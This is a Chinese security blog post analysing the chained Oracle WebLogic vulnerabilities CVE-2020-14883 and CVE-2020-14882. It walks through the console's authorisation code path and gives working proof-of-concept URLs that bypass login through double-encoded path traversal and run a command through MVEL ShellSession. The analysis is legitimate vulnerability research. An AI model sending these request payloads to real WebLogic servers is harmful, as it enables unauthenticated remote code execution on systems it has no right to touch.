Weblogic HTTP Console权限绕过&&命令执行浅析(CVE-2020-14883/CVE-2020-14882)

2020-11-12 9,254

简介

2020年Oracle Weblogic发布了包含编号为CVE-2020-14883、CVE-2020-14882漏洞的CPU。

CVE-2020-14883,通过HTTP请求绕过用户身份鉴定,对高权限的后台Console进行访问。

CVE-2020-14882,通过高权限的后台Console进行远程任意命令执行。

CVE-2020-14883和CVE-2020-14882两个编号的漏洞可以进行组合使用,CVSS 3.0达到9.8,权限绕过后完成远程任意命令执行。


影响版本

  • Weblogic 10.3.6.0.0

  • Weblogic 12.1.3.0.0

  • Weblogic 12.2.1.3.0

  • Weblogic 12.2.1.4.0

  • Weblogic 14.1.1.0.0


复现

测试环境:

  • Weblogic 12.2.1.3.0

  • JDK1.8

  • IDEA 远程DEBUG

首先安装Weblogic,接着提取全部的jar包,为了防止有的jar包重名覆盖,这里使用python添加随机数提取并重命名。

# coding=utf-8

import os
import datetime
import random
from shutil import copyfile


def getuniqueNum():
   for i in range(0, 10):
       nowTime = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
       randomNum = random.randint(0, 99999)
       if randomNum <= 10:
           randomNum = str(0) + str(randomNum)
       uniqueNum = str(nowTime) + str(randomNum)
       return uniqueNum


path = "fmw_12.2.1.3.0_wls_quick_Disk1_1of1/wls12213"
num = 0
tmp = list()
for dirpath, dirnames, filenames in os.walk(path):
   for filename in filenames:
       if os.path.join(dirpath, filename).endswith(".jar"):
           num = num + 1
           org_file = os.path.join(dirpath, filename)
           dst_file = os.path.join('/Users/rai4over/Desktop/weblogic_jar',
                                   filename.replace('.jar', '.' + getuniqueNum() + '.jar'))
           print(org_file)
           print(dst_file)
           copyfile(org_file, dst_file)
           # print(file_org)
           print(num)

然后将导出的jar包目录添加导IDEA项目的LIB里面即可。


接着设置Weblogic的jdwp进行DEBUG,文件路径:

fmw_12.2.1.3.0_wls_quick_Disk1_1of1/wls12213/user_projects/domains/base_domain/bin/setDomainEnv.sh

修改local_debugtrue

image-20201110160715373.png

查看jdwp的端口号

image-20201110161318420.png

IDEADEBUG配置如下

image-20201110162734657.png


POC

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

更换路径的

http://127.0.0.1:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);


漏洞分析

组合拳漏洞,所以将POC分为两部分进行分析。

涉及权限绕过的部分为前面的路径:

http://127.0.0.1:7001/console/css/%252E%252E%252Fconsole.portal

涉及命令执行的部分为后面查询的参数:

_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);


权限绕过

weblogic.servlet.internal.WebAppServletContext#securedExecute

image-20201110170135369.png

Weblogic的请求都会经过securedExecute,跟进doSecuredExecute函数。


weblogic.servlet.internal.WebAppServletContext#doSecuredExecute

image-20201110170453729.png

这里会使用checkAccess对请求进行权限检查。


weblogic.servlet.security.internal.WebAppSecurity#checkAccess(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, boolean, boolean)

image-20201110170905275.png

继续跟进重载的checkAccess函数。


weblogic.servlet.security.internal.WebAppSecurity#checkAccess(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, boolean, boolean, boolean)

image-20201110171450694.png

一个三元表达式,checkAllResources在调用时硬编码为false,此时直接调用getConstraint函数。


weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(javax.servlet.http.HttpServletRequest)

image-20201110201450918.png

可以也为重载调用,看到参数为getRelativeURI(req)


weblogic.servlet.security.internal.WebAppSecurity#getRelativeURI

image-20201110201705359.png

weblogic.servlet.internal.ServletRequestImpl#getRelativeUri

image-20201110201947695.png

最终参数为/css/%2E%2E%2Fconsole.portal,此时的payload经过http传输导服务器后自动解码一次了。


weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(java.lang.String, java.lang.String)

image-20201110202433120.png

这里this.constraintsMap.get("")赋值的consForAllMethods类型为ServletMapping且内容为:

image-20201110202546456.png

这个Mapping从哪里来得呢,其实是servlet配置文件里写好的,文件位置:

/wls12213/wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml

image-20201110212910157.png

也就是说符合配置文件的URL都不需要鉴权,接着调用consForAllMethods.get(relURI),这里传入的为/css/%2E%2E%2Fconsole.portal

weblogic.servlet.utils.ServletMapping#get

image-20201110205400504.png

跟进父类StandardURLMappingget函数

weblogic.servlet.utils.StandardURLMapping#get

image-20201110205536331.png

一路跟进

weblogic.servlet.utils.StandardURLMapping#getExactOrPathMatch

image-20201110205708264.png

一路跟进

weblogic.utils.collections.MatchMap#match

image-20201110205641200.png

可以看到在Mapping里最终匹配的为/css/,并且unrestrictedtrue,最终层层返回并赋值给resourceConstraint


/Users/rai4over/Desktop/12.2.1.3.0_debug/weblogic_jar/com.oracle.weblogic.servlet.2020111012033377144.jar!/weblogic/servlet/security/internal/WebAppSecurity.class:497

image-20201110213422069.png

根据变量值判断进入isAuthorized函数。

weblogic.servlet.security.internal.SecurityModule#isAuthorized

image-20201110213540555.png

继续跟进checkAccess

weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess

image-20201110223526496.png

请求的URL不是以/j_security_check结尾,因此进入checkUserPerm

weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm

image-20201110232753842.png

一路判断,然后进入hasPermission函数

weblogic.servlet.security.internal.WebAppSecurity#hasPermission

image-20201110232852717.png

这里cons不为null,因此开关调用isUnrestricted函数

weblogic.servlet.security.internal.ResourceConstraint#isUnrestricted

image-20201110233028085.png

这里其实就是判断内容为trueunrestricted,这里就不会被后台定向到登录,并最终层层向上返回true通过校验。

http://127.0.0.1:7001/console/css/%252E%252E%252Fconsole.portal即可访问后台conolse。

image-20201111145545194.png


命令执行

绕过权限校验之后开始请求分发

12.2.1.3.0_debug/weblogic_jar/com.oracle.weblogic.servlet.2020111012033377144.jar!/weblogic/servlet/internal/WebAppServletContext.class:1917

image-20201111112031075.png

参数中包含requestFacade.getServletStub(req)并跟进

weblogic.servlet.internal.ServletObjectsFacadeImpl#getServletStub

image-20201111112148631.png

继续跟进getServletStub函数

weblogic.servlet.internal.ServletRequestImpl#getServletStub

image-20201111112249229.png

最终返回sstub成员作为参数并创建ServletStubImplaction,查看该action内容

image-20201111113019049.png

这个具体的action是怎么来的呢,同样是根据上面提到的web.xml文件获取的。

image-20201111113942076.png

/css/%2E%2E%2Fconsole.portal因为.portal结尾会匹配到AppManagerServlet这个servlet-name,查看具体的servlet

image-20201111121105642.png

会使用AsyncInitServlet,且初始化参数为MBeanUtilsInitSingleFileServlet

weblogic.servlet.AsyncInitServlet#service

image-20201111121740791.png

跟进到AsyncInitServlet类,查看具体内容:

image-20201111121814967.png

delegate成员为MBeanUtilsInitSingleFileServlet类,跟进service函数。

com.bea.netuix.servlets.manager.UIServlet#doPost

image-20201111122624749.png

跟进到createUIContext函数

com.bea.netuix.servlets.manager.UIServlet#createUIContext

image-20201111122753448.png

com.bea.netuix.servlets.manager.UIServletInternal#createUIContext

image-20201111123536514.png

跟进getTree函数

com.bea.netuix.servlets.manager.UIServletInternal#getTree

image-20201111123643805.png

可以看到这里再次进行了一次URL解码,相当于目录穿越,最终请求为/console.portal并传入processStream函数。

接着跟入一些系列的导航初始化中

com.bea.console.utils.BreadcrumbBacking#init

image-20201111142220149.png

从这里开始接受恶意参数,跟入findFirstHandle函数

com.bea.console.utils.BreadcrumbBacking#findFirstHandle

image-20201111143028088.png

此时从参数中取出恶意字符串并返回。

com.bea.console.handles.HandleFactory#getHandle

image-20201111144731715.png

加载com.tangosol.coherence.mvel2.sh.ShellSession类,然后传入java.lang.Runtime.getRuntime().exec('calc.exe');""作为参数并实例化,完成远程代码执行。


参考


https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf

https://paper.seebug.org/1395/#cve-2020-14882


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/145903.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号